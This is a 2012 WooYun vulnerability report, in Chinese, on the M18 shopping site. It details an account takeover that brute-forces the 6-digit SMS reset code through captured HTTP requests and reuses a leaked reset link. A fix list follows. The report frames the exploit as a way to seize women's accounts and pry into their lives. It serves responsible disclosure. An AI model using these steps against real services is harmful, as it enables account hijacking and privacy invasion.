当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014604

漏洞标题:光棍节屌丝的逆袭专场NO.4---麦考林网站修改任意妹子账号密码漏洞

相关厂商:上海麦考林信息科技有限公司

漏洞作者: 风萧萧

提交时间:2012-11-10 21:10

修复时间:2012-11-15 21:11

公开时间:2012-11-15 21:11

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-10: 细节已通知厂商并且等待厂商处理中
2012-11-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

哎呦!凡客是屌丝去的购物网站啊!女神去哪里网上购物呢?麦考林那!所以,屌丝们如果你想了解更多关于女神的生活中的细节信息,请关注这里!

详细说明:

1.进入麦考林的主站吧!第一步找到登录的界面,这里是否仍有你多么熟悉的【忘记密码?】链接,那么轻点这里:

1.jpg


2.2.填写需要重置的账号,由于只是测试漏洞存在,这里只用了我自己的账号:

2.jpg


3.填写好手机号码与图片验证码后,点击【提交】。于是给我的手机号发送了重置密码的短信码(为了与图片验证码区别,这里成为短信码)为【551660】,这里随意的填写了一个短信码100000,点击【重设密码】之前设置好浏览器的代理为burpsuite!

3.jpg


4.抓包的POST请求如下:

POST /Service/ContactService.ashx?Method=PhoneValidationCheckCode HTTP/1.1
Host: login.m18.com
Proxy-Connection: keep-alive
Content-Length: 40
Origin: http://login.m18.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1284.2 Safari/537.13
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
Referer: http://login.m18.com/contact/contactfillinverifycode.aspx?method=GetPwdByPhone&code=53750b5150827ddebc7b05c558e48905&cellphonenum=1*********9&no=7144
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: M18_Passport_UserInfo=oAN7TmaQQlYp5yqS5qTE1HmzzgRJjs0W0f68F74KuSPXRzSlTcgo6+DAI/3v+Dqx44jkWMljommomb03k4zCRW4iIAQX8XxDsVtMNVhIEEBSWQsROeHfE47Ov0lkHZ8NtiZkTyF1XdXKQ72DP0KxuN+7NuAqyXUy8LJlCbrlf8Y/svZCE5OSGePsnBxJkyBQhjU/CmvxXiQvDwXI1oSJ6A==; M18_CID=e2085fe5-c2e6-48bb-80c3-cb2f7518163f; BIGipServerLogin1_Web_Pool=1006741696.20480.0000; __ozlvd814=1352457715
MobilePhone=1*********9&CheckCode=284262

从传输的参数容易判断出来MobilePhone是需要重置密码的手机号,CheckCode参数即为短信码。
5.那么开始爆破吧!设置好需要爆破的参数为CheckCode,设置爆破的线程数为100,看看需要多长时间即可爆破成功。我这里为测试只从100000开始:

麦考林第五步截图.jpg

漏洞证明:

6.通过返回的字节数或者返回的内容得出正确的短信码:
短信码错误时,返回的字节数为313,而短信码正确时字节数为387;
当然也可从返回的内容来判断是否获取正确的短信码,短信码错误时返回内容包含"检验记录不存在"的字样,短信码正确时返回的内容非常重要,后面会用到!

4.jpg

5.jpg


7.经测试仅仅使用8分多钟就破解出短信码,可见危害之大!我拿破解的短信码去重置时,报错了,说短信码错误,难道只能使用一次?

6.jpg


8.木有关系,还记得第6步拿到的返回内容么!

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 115
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Fri, 09 Nov 2012 10:46:41 GMT
{msgCode:0,msgStr:'操作成功',urlParam:'code=9c0a3c3392991ca77fbd20391040a170&cellphonenum=1*********9&no=4959'}


构造如下链接:

http://login.m18.com/contact/contactsetnewpassword.aspx?type=GetPwdByPhone&code=9c0a3c3392991ca77fbd2039********&cellphonenum=*********9&no=4959

点击访问,即可进入重置密码的页面!

8.jpg


8.屌丝再次逆袭成功!

9.jpg

10.jpg

修复方案:

1.还有一个很严重的bug,一次取回账号长久可用,我的重置链接如下(怎么获得呢,看第8步),但是评估我的账号被恶意重置以及泄露个人信息的风险,隐去几位字符:
http://login.m18.com/contact/contactsetnewpassword.aspx?type=GetPwdByPhone&code=9c0a3c3392991ca77fbd2039********&cellphonenum=*********9&no=4959
只要拿了上述链接,不用走重置密码的流程即可重新更新密码,另外多次取回密码时的链接时不一样的,但是这些链接都可以同时重置密码,奇葩;
2.6位纯数字短信码的爆破,即平均50万次的请求,我使用了burpsuite测试单台机器100线程,8分多钟即可重置任意一个手机账号!危险啊
3.短信码可以为6位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?
4.求20rank,求礼物!

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-11-15 21:11

厂商回复:

最新状态:

暂无